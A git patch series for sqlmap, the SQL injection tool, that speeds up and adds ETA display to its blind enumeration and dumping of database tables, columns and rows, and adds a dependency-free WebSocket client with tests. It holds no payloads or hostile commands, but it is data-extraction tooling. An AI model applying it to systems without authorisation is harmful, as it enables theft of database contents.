@@ def _verifyInferredValue(expression, value): except Exception: return True +def valueParallelEligible(): + """ + Whether blind enumeration/dumping should take the value-parallel path (one whole value per worker) + rather than the classic char loop. It is chosen for concurrency ('--threads') and, independently, to + render a single whole-job progress bar/ETA ('--eta'). A concurrency-safe channel - boolean or the + HTTP/2 timeless oracle - qualifies with either. Classic time-based qualifies only single-threaded under + '--eta': concurrent SLEEP measurements interfere, so it must stay sequential (where it is safe, and + still gets the whole-job ETA that matters most for the slowest channel). Callers add their own extra + guards (e.g. '--dns-domain', per-column comments). + """ + + concurrencySafe = isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None + + if conf.threads > 1: + return concurrencySafe + if conf.eta: + return concurrencySafe or isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) + return False + def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False): """ Value-parallel blind retrieval. @@ -446,6 +469,13 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non results = [None] * len(indices) cursor = iter(xrange(len(indices))) + # With '--eta' show a single value-level bar (values completed / total) instead of the per-value + # stream: it is monotonic and carries a meaningful ETA across the whole set, and - unlike the + # per-char bar drawn inside bisection() - it survives the worker's disableStdOut (drawn forced, + # below), so '--eta' is honoured under '--threads' too. Skipped for trivial single-value sets. + etaProgress = ProgressBar(maxValue=len(indices)) if (conf.eta and len(indices) > 1) else None + completed = [0] + def inferenceThread(): threadData = getCurrentThreadData() # Each per-value bisection streams its characters to stdout and mirrors them into @@ -489,13 +519,36 @@ def inferenceThread(): with kb.locks.value: results[slot] = value + if etaProgress is not None: + with kb.locks.io: + completed[0] += 1 + threadData.disableStdOut = False # let the value-level bar through (per-char streaming stays muted) + try: + etaProgress.progress(completed[0]) + finally: + threadData.disableStdOut = True + # Stream each retrieved value as it completes (they arrive out of order under threads, exactly # like the error/union dumps), so a dump shows its data live rather than a silent counter. - if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): + elif conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): with kb.locks.io: rendered = safecharencode(unArrayizeValue(value)) dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True) + # Keep the '--eta' countdown live between value updates: a value (esp. time-based) can take many + # seconds, so a daemon redraws the bar every second with the ETA decremented by elapsed time (it runs + # on its own thread, so it is not muted by the workers' disableStdOut, and shares kb.locks.io with them). + etaTickerStop = threading.Event() + etaTicker = None + if etaProgress is not None and IS_TTY: + def _etaTicker(): + while not etaTickerStop.wait(1.0): + with kb.locks.io: + etaProgress.tick() + etaTicker = threading.Thread(target=_etaTicker, name="eta-ticker") + setDaemon(etaTicker) + etaTicker.start() + # Save/restore the calling thread's state: with a single thread runThreads runs the worker # INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out. savedPartRun = kb.partRun @@ -505,6 +558,9 @@ def inferenceThread(): try: runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread) finally: + etaTickerStop.set() + if etaTicker is not None: + etaTicker.join(timeout=2) kb.partRun = savedPartRun mainThreadData.disableStdOut = savedStdOut mainThreadData.shared = savedShared diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 1bfb10656d9..97e58a9bb91 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -13,6 +13,8 @@ from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb +from lib.core.settings import ETA_DISPLAY_SMOOTHING +from lib.core.settings import IS_TTY class ProgressBar(object): """ @@ -26,7 +28,9 @@ def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 - self._start = None + self._start = time.time() # begin timing at construction, so the first completed item already yields an estimate + self._eta = None # last estimated seconds-remaining and when it was computed, so tick() + self._etaAt = None # can keep the countdown live between (possibly slow) item updates self.update() def _convertSeconds(self, value): @@ -73,17 +77,39 @@ def update(self, newAmount=0): def progress(self, newAmount): """ - This method saves item delta time and shows updated progress bar with calculated eta + Redraw the bar with an ETA from the average time per completed item so far, applied to the items + still remaining: (elapsed / done) * (max - newAmount). The remaining-item count is (max - newAmount) + - i.e. at 1/3 it estimates the 2 items left, at 2/3 the 1 left - not just the current item. """ - if self._start is None or newAmount > self._max: - self._start = time.time() - eta = None + now = time.time() + if newAmount > self._max: # counter rollover/reset -> restart timing + self._start = now + self._eta = None + + done = newAmount - self._min + elapsed = now - self._start + target = (elapsed / done) * (self._max - newAmount) if (done > 0 and elapsed > 0) else None + + if target is None: + self._eta = None + elif self._eta is None: + self._eta = target # first estimate: nothing to ease from else: - delta = time.time() - self._start - eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta + current = max(0, self._eta - (now - self._etaAt)) # what is on screen now (already decremented by tick()) + self._eta = ETA_DISPLAY_SMOOTHING * current + (1 - ETA_DISPLAY_SMOOTHING) * target # ease into the fresh estimate + self._etaAt = now self.update(newAmount) + self.draw(self._eta) + + def tick(self): + """ + Redraw the current bar with its ETA decremented by real elapsed time, so the countdown stays + live between updates (e.g. during a long time-based wait) instead of freezing at the last estimate + """ + + eta = None if self._eta is None else max(0, self._eta - (time.time() - self._etaAt)) self.draw(eta) def draw(self, eta=None): @@ -91,6 +117,9 @@ def draw(self, eta=None): This method draws the progress bar if it has changed """ + if not IS_TTY: # a progress bar is a terminal animation; suppress it when piped/redirected (as done for other '\r' output) + return + dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: dataToStdout("\r%s\r" % (" " * self._width)) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index c439863b9c0..70f210b153d 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -403,12 +403,13 @@ def getTables(self, bruteForce=None): # Value-parallel, prediction-assisted name enumeration for the DBMSes using the # generic ", " blind template. Retrieves whole names concurrently (one per - # worker, each decoded sequentially so wordlist prediction applies). Used only with - # '--threads' (like getColumns below); single-thread stays on the classic getValue loop, - # which still gets predictive inference via getPartRun. The special templates stay serial. + # worker, each decoded sequentially so wordlist prediction applies). Used with '--threads' + # and under '--eta' (one whole-job bar/ETA) per valueParallelEligible(); plain single-thread + # stays on the classic getValue loop, which still gets predictive inference via getPartRun. + # The special templates stay serial. genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) - if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + if genericTemplate and inject.valueParallelEligible(): for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): if not isNoneValue(table): kb.hintValue = table @@ -899,9 +900,11 @@ def columnNameQuery(index): # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per # worker, decoded sequentially - no length probe, predictive inference applies, names stream - # live). Serial fallback for single-thread and when also fetching per-column comments. + # live, and under '--eta' a single whole-job bar/ETA is drawn). Eligibility is shared via + # valueParallelEligible(); serial fallback only when also fetching per-column comments (those + # need an extra per-column query). columnNames = None - if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + if not conf.getComments and inject.valueParallelEligible(): columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") for position, index in enumerate(indexList): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 568a0eb531f..4e8ef5a7d96 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -444,9 +444,11 @@ def cellQuery(column, index): # value's characters across threads) and the per-column Huffman model + low-cardinality # guessing engage under concurrency. Used for the boolean channel with '--threads', and # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and - # deterministic - unlike classic time-based, whose char-parallel loop interleaves its - # per-thread output). Single-thread and classic time-based keep the char-parallel loop. - if conf.threads > 1 and not conf.dnsDomain and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None): + # deterministic). Also used under '--eta' - including single-threaded time-based, the + # slowest channel - to drive one whole-job progress bar/ETA (how long the dump takes) + # instead of a per-cell counter. Eligibility (channel x threads/eta) is valueParallelEligible(); + # '--dns-domain' keeps the classic loop (its OOB fast path bypasses bisection). + if not conf.dnsDomain and inject.valueParallelEligible(): # One value-parallel pass over every (non-empty) cell, so there is a single # thread pool and values stream live as they complete - out of order, exactly # like the error/union dumps - instead of a silent progress counter. diff --git a/tests/test_progress.py b/tests/test_progress.py index dbc007f0162..5690763d1f5 100644 --- a/tests/test_progress.py +++ b/tests/test_progress.py @@ -56,7 +56,9 @@ def test_convert_seconds(self): def test_progress_draws_eta_after_second_call(self): captured = [] real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True # draw() only animates on a terminal try: pb = ProgressBar(0, 10, 78) pb.progress(0) # first call only seeds the timer (eta None) @@ -64,6 +66,7 @@ def test_progress_draws_eta_after_second_call(self): pb.progress(5) # second call computes and draws a real ETA finally: progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty self.assertTrue(captured, msg="progress() never wrote to stdout") last = captured[-1] @@ -73,6 +76,134 @@ def test_progress_draws_eta_after_second_call(self): self.assertTrue(re.search(r"\(ETA \d{2}:\d{2}\)", last), msg="ETA token missing an mm:ss timer: %r" % last) + def test_eta_available_from_first_completed_item(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 5, 78) + pb._start = pb._lastTime = time.time() - 2.0 # one item took ~2s -> estimate must appear now, at 1/5 + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + last = captured[-1] + self.assertNotIn("??:??", last, msg="no ETA at the first item: %r" % last) + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", last) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(7 <= secs <= 9, msg="ETA not ~8s (2s/item x 4 remaining): %r" % last) # not the 2x-optimistic ~4s + + def test_eta_reflects_remaining_item_count(self): + # at a constant 10s/item pace: 1/3 must estimate the 2 items left (~20s), 2/3 the 1 left (~10s) - + # i.e. (max - done) items, not just the current one. Fresh bars so each is a first (unsmoothed) estimate. + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + + def drawnEta(): + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no ETA drawn: %r" % captured[-1]) + return int(m.group(1)) * 60 + int(m.group(2)) + + try: + a = ProgressBar(0, 3, 78) + a._start = time.time() - 10.0 # 1 done in 10s -> 10s/item, 2 remaining -> ~20s + a.progress(1) + eta1 = drawnEta() + + b = ProgressBar(0, 3, 78) + b._start = time.time() - 20.0 # 2 done in 20s -> 10s/item, 1 remaining -> ~10s + b.progress(2) + eta2 = drawnEta() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(18 <= eta1 <= 22, msg="1/3 should estimate 2 remaining (~20s): %ds" % eta1) + self.assertTrue(8 <= eta2 <= 12, msg="2/3 should estimate 1 remaining (~10s): %ds" % eta2) + + def test_new_estimate_is_eased_not_snapped(self): + # when a fresh estimate is far from the value currently on screen, the drawn ETA must land + # between the two (smoothed), not snap straight to the new target + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb._eta = 8.0 # currently showing ~8s... + pb._etaAt = time.time() + pb._start = time.time() - 2.0 # ...but the fresh target is (2/1)*(10-1) = 18s + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(10 <= secs <= 16, msg="ETA snapped instead of easing between 8 and 18: %ds" % secs) + + def test_tick_counts_down_from_stored_eta(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 100 # a 100s estimate... + pb._etaAt = time.time() - 30 # ...taken 30s ago -> tick() must show ~70s + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no mm:ss ETA drawn: %r" % captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(66 <= secs <= 71, msg="ETA not decremented to ~70s: %r" % captured[-1]) + + def test_tick_clamps_at_zero_when_overdue(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 5 + pb._etaAt = time.time() - 60 # long overdue -> must clamp to 00:00, never negative + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertIn("(ETA 00:00)", captured[-1], msg=captured[-1]) + + def test_no_draw_when_not_tty(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = False # piped/redirected: no animated bar should reach the stream + try: + pb = ProgressBar(0, 10, 78) + for i in range(1, 11): + pb.progress(i) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertEqual(captured, [], msg="progress bar leaked to a non-TTY stream: %r" % captured) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 6ab50de7eb5..239bc33f855 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -48,6 +48,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect from lib.request.connect import Connect as Request +from lib.request import inject from lib.utils.hashdb import HashDB import lib.techniques.union.use as uu @@ -1516,6 +1517,47 @@ def test_non_string_char_ignored(self): self.assertEqual(kb.uChar, "SENTINEL") +class TestValueParallelEligibility(unittest.TestCase): + """ + inject.valueParallelEligible() picks the value-parallel path (job-level '--eta' bar / concurrency). + Safety invariant under test: classic time-based must never run concurrently (interfering SLEEP + measurements), so it qualifies only single-threaded under '--eta'; a concurrency-safe channel + (boolean or the timeless oracle) may run under either '--threads' or '--eta'. + """ + + def setUp(self): + self._avail = set() + self._realAvail = inject.isTechniqueAvailable + inject.isTechniqueAvailable = lambda t: t in self._avail + self._saved = (conf.threads, conf.eta, kb.get("timeless")) + + def tearDown(self): + inject.isTechniqueAvailable = self._realAvail + conf.threads, conf.eta, kb.timeless = self._saved + + def _elig(self, threads, eta, techniques, timeless=None): + conf.threads, conf.eta, kb.timeless = threads, eta, timeless + self._avail = set(techniques) + return inject.valueParallelEligible() + + def test_single_thread_eta_time_based_qualifies(self): + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.TIME})) + + def test_multi_thread_time_based_never_parallel(self): + self.assertFalse(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME})) + self.assertFalse(self._elig(8, False, {PAYLOAD.TECHNIQUE.TIME})) + + def test_boolean_qualifies_under_threads_or_eta(self): + self.assertTrue(self._elig(8, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_plain_single_thread_no_eta_stays_classic(self): + self.assertFalse(self._elig(1, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_timeless_is_concurrency_safe(self): + self.assertTrue(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME}, timeless=object())) + + if __name__ == "__main__": unittest.main(verbosity=2) From fc1ae6950e48fc370ecaa4bde8d23a515987fbd0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 13:56:40 +0200 Subject: [PATCH 08/12] Adding native websocket support --- lib/core/option.py | 9 -- lib/core/settings.py | 2 +- lib/request/connect.py | 8 +- lib/request/websocket.py | 230 +++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 11 -- tests/test_websocket.py | 138 +++++++++++++++++++++++ 6 files changed, 371 insertions(+), 27 deletions(-) create mode 100644 lib/request/websocket.py create mode 100644 tests/test_websocket.py diff --git a/lib/core/option.py b/lib/core/option.py index bb915197d21..ad80c4a5279 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2698,15 +2698,6 @@ def putheader(self, header, *values): _http_client.HTTPConnection._http_vsn = 10 _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' - if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): - try: - from websocket import ABNF - ABNF # require websocket-client, not any 'websocket' module - except ImportError: - errMsg = "sqlmap requires third-party module 'websocket-client' " - errMsg += "in order to use WebSocket functionality" - raise SqlmapMissingDependence(errMsg) - def _checkTor(): if not conf.checkTor: return diff --git a/lib/core/settings.py b/lib/core/settings.py index 04460590cbe..1b227713bab 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.56" +VERSION = "1.10.7.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 70d5091d062..77f9f25a74f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -19,12 +19,8 @@ import time import traceback -try: - import websocket - from websocket import WebSocketException -except ImportError: - class WebSocketException(Exception): - pass +from lib.request import websocket +from lib.request.websocket import WebSocketException from lib.core.agent import agent from lib.core.common import asciifyUrl diff --git a/lib/request/websocket.py b/lib/request/websocket.py new file mode 100644 index 00000000000..1d8f56aee4f --- /dev/null +++ b/lib/request/websocket.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free WebSocket client (RFC 6455), replacing the 'websocket-client' third-party +# library. Covers exactly what sqlmap needs: the client handshake, masked text framing, wss (TLS) and +# the recv/timeout surface. It also removes the long-standing ambiguity with the unrelated 'websocket' +# PyPI package (both expose a top-level 'websocket' module). Pure standard library, Python 2.7 / 3.x. + +import base64 +import hashlib +import os +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.six.moves import urllib as _urllib + +_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" # RFC 6455 magic value for the accept key + +OPCODE_CONTINUATION = 0x0 +OPCODE_TEXT = 0x1 +OPCODE_BINARY = 0x2 +OPCODE_CLOSE = 0x8 +OPCODE_PING = 0x9 +OPCODE_PONG = 0xA + +class WebSocketException(Exception): + pass + +class WebSocketTimeoutException(WebSocketException): + pass + +class WebSocketConnectionClosedException(WebSocketException): + pass + +class WebSocket(object): + """ + Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(), + send(), recv(), close(), the handshake .status and getheaders() + """ + + def __init__(self): + self.sock = None + self.status = None + self._headers = {} + self._timeout = None + self._buffer = b"" + self._closed = False + + def settimeout(self, timeout): + self._timeout = timeout + if self.sock is not None: + self.sock.settimeout(timeout) + + def connect(self, url, header=None, cookie=None): + parts = _urllib.parse.urlsplit(url) + secure = parts.scheme == "wss" + host = parts.hostname + port = parts.port or (443 if secure else 80) + resource = parts.path or "/" + if parts.query: + resource += "?%s" % parts.query + + self.sock = socket.create_connection((host, port), timeout=self._timeout) + if secure: + self.sock = ssl._create_unverified_context().wrap_socket(self.sock, server_hostname=host) + self.sock.settimeout(self._timeout) + + hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals + if port not in (80, 443): + hostport = "%s:%d" % (hostport, port) + + key = getText(base64.b64encode(os.urandom(16))) + lines = ["GET %s HTTP/1.1" % resource, + "Host: %s" % hostport, + "Upgrade: websocket", + "Connection: Upgrade", + "Sec-WebSocket-Key: %s" % key, + "Sec-WebSocket-Version: 13"] + for _ in (header or ()): + lines.append(_) + if cookie: + lines.append("Cookie: %s" % cookie) + lines.extend(("", "")) + self.sock.sendall(getBytes("\r\n".join(lines))) + + self._readHandshake(key) + + def _readHandshake(self, key): + while b"\r\n\r\n" not in self._buffer: + chunk = self._recvSome() + if not chunk: + raise WebSocketException("incomplete WebSocket handshake response") + self._buffer += chunk + + head, _, self._buffer = self._buffer.partition(b"\r\n\r\n") + lines = getText(head).split("\r\n") + + try: + self.status = int(lines[0].split(" ", 2)[1]) + except (IndexError, ValueError): + raise WebSocketException("malformed WebSocket handshake response") + + for line in lines[1:]: + name, _, value = line.partition(":") + self._headers[name.strip().lower()] = value.strip() + + if self.status != 101: + raise WebSocketException("Handshake status %d" % self.status) # 'Handshake status' is matched in connect.py + + accept = getText(self._headers.get("sec-websocket-accept", "")) + expected = getText(base64.b64encode(hashlib.sha1(getBytes(key + _GUID)).digest())) + if accept != expected: + raise WebSocketException("invalid 'Sec-WebSocket-Accept' in handshake response") + + def getheaders(self): + return dict(self._headers) + + def send(self, payload, opcode=OPCODE_TEXT): + self._sendFrame(getBytes(payload), opcode) + + def _sendFrame(self, data, opcode): + length = len(data) + frame = bytearray() + frame.append(0x80 | opcode) # FIN set, single (unfragmented) frame + + if length < 126: + frame.append(0x80 | length) # client frames must set the mask bit + elif length < 65536: + frame.append(0x80 | 126) + frame += struct.pack("!H", length) + else: + frame.append(0x80 | 127) + frame += struct.pack("!Q", length) + + mask = bytearray(os.urandom(4)) + frame += mask + payload = bytearray(data) + for i in range(length): + payload[i] ^= mask[i % 4] + frame += payload + + try: + self.sock.sendall(bytes(frame)) + except socket.timeout: + raise WebSocketTimeoutException("timed out while sending data") + except ssl.SSLError as ex: + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while sending data") + raise + + def recv(self): + data = bytearray() + while True: + fin, opcode, payload = self._recvFrame() + if opcode == OPCODE_CLOSE: + self._closed = True + raise WebSocketConnectionClosedException("WebSocket connection closed") + elif opcode == OPCODE_PING: + self._sendFrame(bytes(payload), OPCODE_PONG) + continue + elif opcode == OPCODE_PONG: + continue + + data += payload + if fin: + break + + return getText(bytes(data)) + + def _recvFrame(self): + header = bytearray(self._readStrict(2)) + fin = (header[0] >> 7) & 1 + opcode = header[0] & 0x0F + masked = (header[1] >> 7) & 1 + length = header[1] & 0x7F + + if length == 126: + length = struct.unpack("!H", self._readStrict(2))[0] + elif length == 127: + length = struct.unpack("!Q", self._readStrict(8))[0] + + mask = bytearray(self._readStrict(4)) if masked else None + payload = bytearray(self._readStrict(length)) + if mask is not None: # servers must not mask, but unmask defensively + for i in range(length): + payload[i] ^= mask[i % 4] + + return fin, opcode, payload + + def _readStrict(self, count): + while len(self._buffer) < count: + chunk = self._recvSome() + if not chunk: + raise WebSocketConnectionClosedException("WebSocket connection closed") + self._buffer += chunk + + result, self._buffer = self._buffer[:count], self._buffer[count:] + return result + + def _recvSome(self): + try: + return self.sock.recv(8192) + except socket.timeout: + raise WebSocketTimeoutException("timed out while receiving data") + except ssl.SSLError as ex: + # Python 2 raises ssl.SSLError('The read operation timed out') instead of socket.timeout on a + # TLS read timeout - which is exactly sqlmap's normal "read frames until timeout" path over wss + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while receiving data") + raise + + def close(self): + if self.sock is not None: + try: + if not self._closed: + self._sendFrame(struct.pack("!H", 1000), OPCODE_CLOSE) # normal closure + except (socket.error, WebSocketException): + pass + try: + self.sock.close() + except socket.error: + pass + self.sock = None diff --git a/lib/utils/deps.py b/lib/utils/deps.py index b681ef4ef05..99fcc31e857 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -83,17 +83,6 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-impacket') - try: - __import__("websocket._abnf") - debugMsg = "'websocket-client' library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'websocket-client' third-party library " - warnMsg += "if you plan to attack a web application using WebSocket. " - warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" - logger.warning(warnMsg) - missing_libraries.add('websocket-client') - try: __import__("tkinter") debugMsg = "'tkinter' library is found" diff --git a/tests/test_websocket.py b/tests/test_websocket.py new file mode 100644 index 00000000000..6091229a621 --- /dev/null +++ b/tests/test_websocket.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native WebSocket client in +lib/request/websocket.py: the RFC 6455 accept-key computation, client frame masking, +the length-encoding boundaries (7/16/64-bit), fragment reassembly and control-frame +handling. No socket is opened - frames are fed through a primed buffer and a fake sink. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import base64 +import hashlib +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.websocket import ( + WebSocket, + WebSocketConnectionClosedException, + WebSocketTimeoutException, + _GUID, + OPCODE_TEXT, + OPCODE_CONTINUATION, + OPCODE_PING, + OPCODE_CLOSE, +) + + +class _FakeSock(object): + """Captures everything the client sends, so masked client frames / PONGs can be inspected.""" + def __init__(self): + self.sent = b"" + + def sendall(self, data): + self.sent += data + + def close(self): + pass + + +def _serverFrame(data, opcode=OPCODE_TEXT, fin=1): + """Build an (unmasked, server->client) frame carrying data.""" + if not isinstance(data, bytes): + data = data.encode("utf-8") + frame = bytearray([(fin << 7) | opcode]) + length = len(data) + if length < 126: + frame.append(length) + elif length < 65536: + frame.append(126); frame += struct.pack("!H", length) + else: + frame.append(127); frame += struct.pack("!Q", length) + frame += data + return bytes(frame) + + +def _client(buffer=b""): + ws = WebSocket.__new__(WebSocket) # bypass connect(): no socket + ws.sock = _FakeSock() + ws.status = 101 + ws._headers = {} + ws._timeout = None + ws._buffer = buffer + ws._closed = False + return ws + + +class TestWebSocket(unittest.TestCase): + def test_accept_key_rfc6455_vector(self): + # RFC 6455 section 1.3 canonical example + key = "dGhlIHNhbXBsZSBub25jZQ==" + accept = base64.b64encode(hashlib.sha1((key + _GUID).encode("ascii")).digest()).decode("ascii") + self.assertEqual(accept, "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=") + + def test_client_frame_is_masked_and_roundtrips(self): + ws = _client() + ws._sendFrame(b"hello", OPCODE_TEXT) + raw = ws.sock.sent + self.assertEqual(bytearray(raw)[0], 0x80 | OPCODE_TEXT) # FIN + text + self.assertTrue(bytearray(raw)[1] & 0x80, "client frame must set the mask bit") + + # feeding the client's own (masked) frame back through the parser must recover the payload + fin, opcode, payload = _client(raw)._recvFrame() + self.assertEqual((fin, opcode, bytes(payload)), (1, OPCODE_TEXT, b"hello")) + + def test_length_encoding_boundaries(self): + for size in (125, 126, 65535, 65536): + ws = _client() + ws._sendFrame(b"A" * size, OPCODE_TEXT) + fin, opcode, payload = _client(ws.sock.sent)._recvFrame() + self.assertEqual(len(payload), size, msg="round-trip failed at length %d" % size) + + def test_recv_reassembles_fragments(self): + buf = _serverFrame("ab", OPCODE_TEXT, fin=0) + _serverFrame("cd", OPCODE_CONTINUATION, fin=1) + self.assertEqual(_client(buf).recv(), "abcd") + + def test_recv_answers_ping_then_returns_data(self): + ws = _client(_serverFrame("hi", OPCODE_PING) + _serverFrame("data", OPCODE_TEXT)) + self.assertEqual(ws.recv(), "data") + # a PONG (opcode 0xA) carrying the ping payload must have been sent back + pong = bytearray(ws.sock.sent) + self.assertEqual(pong[0], 0x80 | 0xA) + + def test_recv_close_raises(self): + ws = _client(_serverFrame(struct.pack("!H", 1000), OPCODE_CLOSE)) + self.assertRaises(WebSocketConnectionClosedException, ws.recv) + + def test_read_timeout_maps_to_ws_timeout(self): + import socket as _socket + import ssl as _ssl + + class _RaisingSock(object): + def __init__(self, exc): + self.exc = exc + def recv(self, n): + raise self.exc + + # both a plain socket timeout and Python 2's TLS 'read operation timed out' must surface as + # WebSocketTimeoutException (sqlmap's frame loop relies on it), while other SSL errors propagate + for exc in (_socket.timeout("timed out"), _ssl.SSLError("The read operation timed out")): + ws = _client(); ws.sock = _RaisingSock(exc) + self.assertRaises(WebSocketTimeoutException, ws.recv) + + ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed")) + self.assertRaises(_ssl.SSLError, ws.recv) + + +if __name__ == "__main__": + unittest.main() From 622cfa76c6837cd2bbf2a3da8f0c04408a022d47 Mon Sep 17 00:00:00 2001 From: 